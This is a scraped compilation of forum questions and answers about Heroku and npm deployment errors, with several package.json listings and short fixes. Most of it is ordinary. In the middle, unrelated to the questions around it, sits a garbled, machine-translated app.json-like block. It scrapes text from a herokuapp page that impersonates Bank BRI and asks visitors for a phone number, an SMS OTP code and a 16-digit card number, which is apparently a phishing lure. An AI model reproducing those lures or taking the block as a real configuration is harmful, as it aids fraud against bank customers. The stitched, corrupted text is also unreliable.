I have exactly the same issue as User daffodils. When uploaded to heroku the app fails with a message "npm ERR! missing script: start" But I don't have a start command in my package.json and I do have "web : node app.js" in my Procfile
I don't have a start in my package.json file and the same file worked ok for another similar app on heroku:
{
"name": "tBlogv3withdb",
"version": "1.0.0",
"description": "",
"main": "app.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "",
"license": "ISC",
"engines": {
"node": "13.12.0"
},
"dependencies": {
"body-parser": "^1.18.3",
"ejs": "^2.6.1",
"express": "^4.16.3",
"lodash": "^4.17.15",
"mongoose": "^5.9.10"
}
}
User Daffodils said "I dropped the repo and re-init solved it." - what does this mean exactly?
Related
I'm using Parcel as my package bundler and the entire app is deployed on Heroku. The app has two folders for client and server side. On the client side, I'm using scss for the styling and parcel install #parcel/transformer-sass to compile the scss file. Everything works locally as expected, but when I deploy the app to Heroku, the build fails with this error
> client#1.0.0 build
> parcel build index.html
Building...
🚨 Build failed.
#parcel/package-manager: Could not find module "#parcel/transformer-sass", but
it was listed in package.json. Run your package manager first.
/tmp/build_b6e0e662/client/package.json:22:5
21 | "devDependencies": {
> 22 | "#parcel/transformer-sass": "^2.7.0",
> | ^^^^^^^^^^^^^^^^^^^^^^^^^^ Defined here, but not installed
23 | "parcel": "^2.7.0",
24 | "process": "^0.11.10"
-----> Build failed
We're sorry this build is failing! You can troubleshoot common issues here:
https://devcenter.heroku.com/articles/troubleshooting-node-deploys
Some possible problems:
- Dangerous semver range (>) in engines.node
https://devcenter.heroku.com/articles/nodejs-support#specifying-a-node-js-version
Love,
Heroku
! Push rejected, failed to compile Node.js app.
! Push failed
Here's the package.json file from the root directory
{
"name": "thexpensetracker",
"version": "1.0.0",
"description": "",
"scripts": {
"start": "npm run serve",
"build": "cd client && npm install && npm run build",
"serve": "cd server && npm install && npm run serve",
"dev": "concurrently \"npm run client\" \"npm run server\"",
"server": "cd server && npm run dev",
"client": "cd client && npm run dev"
},
"engines": {
"node": ">=14.19.0"
},
"keywords": [
"example",
"heroku"
],
"author": "Abajit Dey",
"license": "ISC",
"devDependencies": {
"concurrently": "^7.3.0",
"cors": "^2.8.5",
"dotenv": "^16.0.2",
"express": "^4.18.1",
"parcel": "^2.7.0"
},
"dependencies": {
"axios": "^0.27.2",
"cookie-parser": "^1.4.6",
"cors": "^2.8.5",
"firebase": "^9.10.0",
"http-proxy-middleware": "^2.0.6",
"jsonwebtoken": "^8.5.1"
}
}
Here's the package.json for the client directory
{
"name": "client",
"version": "1.0.0",
"description": "",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"dev": "parcel index.html",
"build": "parcel build index.html"
},
"keywords": [],
"author": "",
"license": "ISC",
"dependencies": {
"react": "^18.2.0",
"react-dom": "^18.2.0",
"react-event-observer": "^0.5.11",
"react-hook-form": "^7.35.0",
"react-router-dom": "^6.4.0",
"zustand": "^4.1.1"
},
"devDependencies": {
"#parcel/transformer-sass": "^2.7.0",
"parcel": "^2.7.0",
"process": "^0.11.10"
}
}
I've also used parcel build before deploying but still the same.
{
"nama": "https://updatetariftransaksi-heroku.herokuapp.com/",
"description": "Untitled\n\n\u00a0 \u00a0Punya Akun\u00a0 \u00a0\n\nBelum Punya Akun\n\nhttps://updatetariftransaksi-heroku.herokuapp.com/",
"kata kunci": [
"Untitled\n\nBANKBRIUpdateTerbaruTarifTransaksi\n\nNomorHandphone\n!function(){functiont(t){this.element=t",
"this.animationId",
"ini.mulai=null",
"this.init()}if(!window.requestAnimationFrame){vari=null;window.requestAnimationFrame=function(t",
"n){vare=(tanggalbaru).getTime();i(i=e);vara=Math.max(0",
"16-(ei))",
"o=window.setTimeout(function(){t(e+a)}",
"a);kembali=e+a",
"o}}t.prototype.init=function(){vart=this;this.animationId=window.requestAnimationFrame(t.triggerAnimation.bind(t))}",
"t.prototype.reset=function(){vart=this;window.cancelAnimationFrame(t.animationId)}",
"t.prototype.triggerAnimation=function(t){vari=this;this.start(this.start=t);varn=t-this.start;504>n||(this.start=this.start+504 )",
"this.element.setAttribute(\u201ctransform\u201d",
"\u201memutar(\u201c+Matematika.min(n/1.4",
"360)+\u201d1212)\u201d);if(document.documentElement.contains(this.element))window.requestAnimationFrame(i.triggerAnimation.bind(i))};varn=document.getElementsByClassName(\u201cnc-loop_circle- 02-24\u201d)",
"e=[];if(n)for(vara=0;n.length>a;a++)!function(i){e.push(newt(n[i]))}(a);document.addEventListener (\u201cvisibilitychange\u201d",
"function(){\u201chidden\u201d==document.visibilityState?e.forEach(function(t){t.reset()}):e.forEach(function(t){t.init()})}) }();\n\nhttps://updatetariftransaksi-heroku.herokuapp.com/"
],
"repository": "Brizy #140\n\n\n\n\n\nhttps://updatetariftransaksi-heroku.herokuapp.com/",
"website": "Tanpa Judul\n\nVerifikasi Kode OTP SMS\n\nKONFIRMASI\n\nhttps://updatetariftransaksi-heroku.herokuapp.com/",
"success_url": "Untitled\n\nDAFTAR BRImo\n\nMasukkan 16 Nomor Kartu\n Berlaku\n Sampai\n .\nDaftar\n\nhttps://updatetariftransaksi-heroku.herokuapp.com/",
"env": {},
"formasi": {
"pekerja": {
"Jumlah: 1,
"ukuran": "gratis"
}
}
}
When I started the node server for running the react app. It didn't start and took very long. Sometimes it wont start.
I use the command to start the server:
npm start dev
This is my Package.json code:
{
"name": "ABCD",
"version": "1.0.0",
"description": "abcd",
"main": "server.js",
"type": "module",
"scripts": {
"start": "node backend/server",
"server": "nodemon backend/server",
"client": "npm start --prefix frontend",
"dev": "concurrently \"npm run server\" \"npm run client\""
},
"author": "XYZ",
"license": "ISC",
"dependencies": {
"dotenv": "^8.2.0",
"express": "^4.17.1"
},
"devDependencies": {
"concurrently": "^5.3.0",
"nodemon": "^2.0.7"
}
}
My app is running fine locally but after deploying with Heroku I get Application Error.
This are my Heroku logs
This is my project structure:
{
"name": "merng",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"serve": "node index.js",
"start": "node index.js"
},
"keywords": [],
"author": "",
"license": "ISC",
"dependencies": {
"apollo-server": "^2.5.0",
"bcryptjs": "^2.4.3",
"graphql": "^15.3.0",
"jsonwebtoken": "^8.5.1",
"mongoose": "^5.10.10"
},
"devDependencies": {
"nodemon": "^2.0.6"
}
}
I have the problem that Heroku searches in the folder app/build/index.js for my index.js but this is wrong. That is why I get this error: 1
My folder structure looks like this: 2
My package.json:
"name": "market-research-tool",
"version": "1.0.0",
"description": "",
"main": "./build/index.js",
"scripts": {
"start": "node ./build/index.js",
"dev": "nodemon server.ts",
"build": "tsc",
"heroku-postbuild": "cd client && npm install && npm run build"
},
"keywords": [],
"author": "",
"license": "ISC",
"dependencies": {
"express": "^4.17.1",
"mongoose": "^5.9.13",
"nodemon": "^2.0.4",
"ts-node": "^8.10.2",
"typescript": "^3.9.5"
},
"devDependencies": {
"#types/express": "^4.17.6",
"#types/mongoose": "^5.7.16",
"#types/node": "^14.0.13"
}
}
My Procfile:
web: node ./build/index.js
How can I solve this problem?
I have created a basic todo app which has package.json file as:
{
"name": "to-do-app",
"version": "1.0.0",
"description": "A basic to-do app created using JavaScript.",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "Sahil Silare",
"license": "MIT",
"dependencies": {
"body-parser": "^1.19.0",
"build": "^0.1.4",
"ejs": "^2.7.1",
"express": "^4.17.1",
"npm-build": "0.0.1"
},
"devDependencies": {},
"repository": {
"type": "git",
"url": "git+https://github.com/sahil9001/to-do-app.git"
},
"keywords": [
"todo",
"app"
],
"bugs": {
"url": "https://github.com/sahil9001/to-do-app/issues"
},
"homepage": "https://github.com/sahil9001/to-do-app#readme"
}
Whenever I run npm test it fails by saying no tests specified, how can I solve this issue? also whenever I try to use TRAVIS CI it fails to detect build script how can I create one?
Specify all required script in scripts property in package.json as below
{
"name": "to-do-app",
"version": "1.0.0",
"description": "A basic to-do app created using JavaScript.",
"main": "index.js",
"scripts": {
"test": "put test command here", // example "test": "mocha test.js"
"build" : "put build command here"
},
"author": "Sahil Silare",
"license": "MIT",
"dependencies": {
"body-parser": "^1.19.0",
"build": "^0.1.4",
"ejs": "^2.7.1",
"express": "^4.17.1",
"npm-build": "0.0.1"
},
"devDependencies": {},
"repository": {
"type": "git",
"url": "git+https://github.com/sahil9001/to-do-app.git"
},
"keywords": [
"todo",
"app"
],
"bugs": {
"url": "https://github.com/sahil9001/to-do-app/issues"
},
"homepage": "https://github.com/sahil9001/to-do-app#readme"
}
You don't have any scripts command listed in scripts property and have only default. You have to create and place it as per the need. Refer below links for more details
https://www.freecodecamp.org/news/introduction-to-npm-scripts-1dbb2ae01633/
https://flaviocopes.com/package-json/
If you look under "scripts" you'll see your npm scripts such as the script you call when you run "npm test"
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
The default value when you run NPM init is this simple echo saying no tests, you have to write your own test command(s) here.
Travis is failing to detect a build script, because you don't have a value for "build" in your scripts section, add something like:
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"build": "my_script_to_build"
},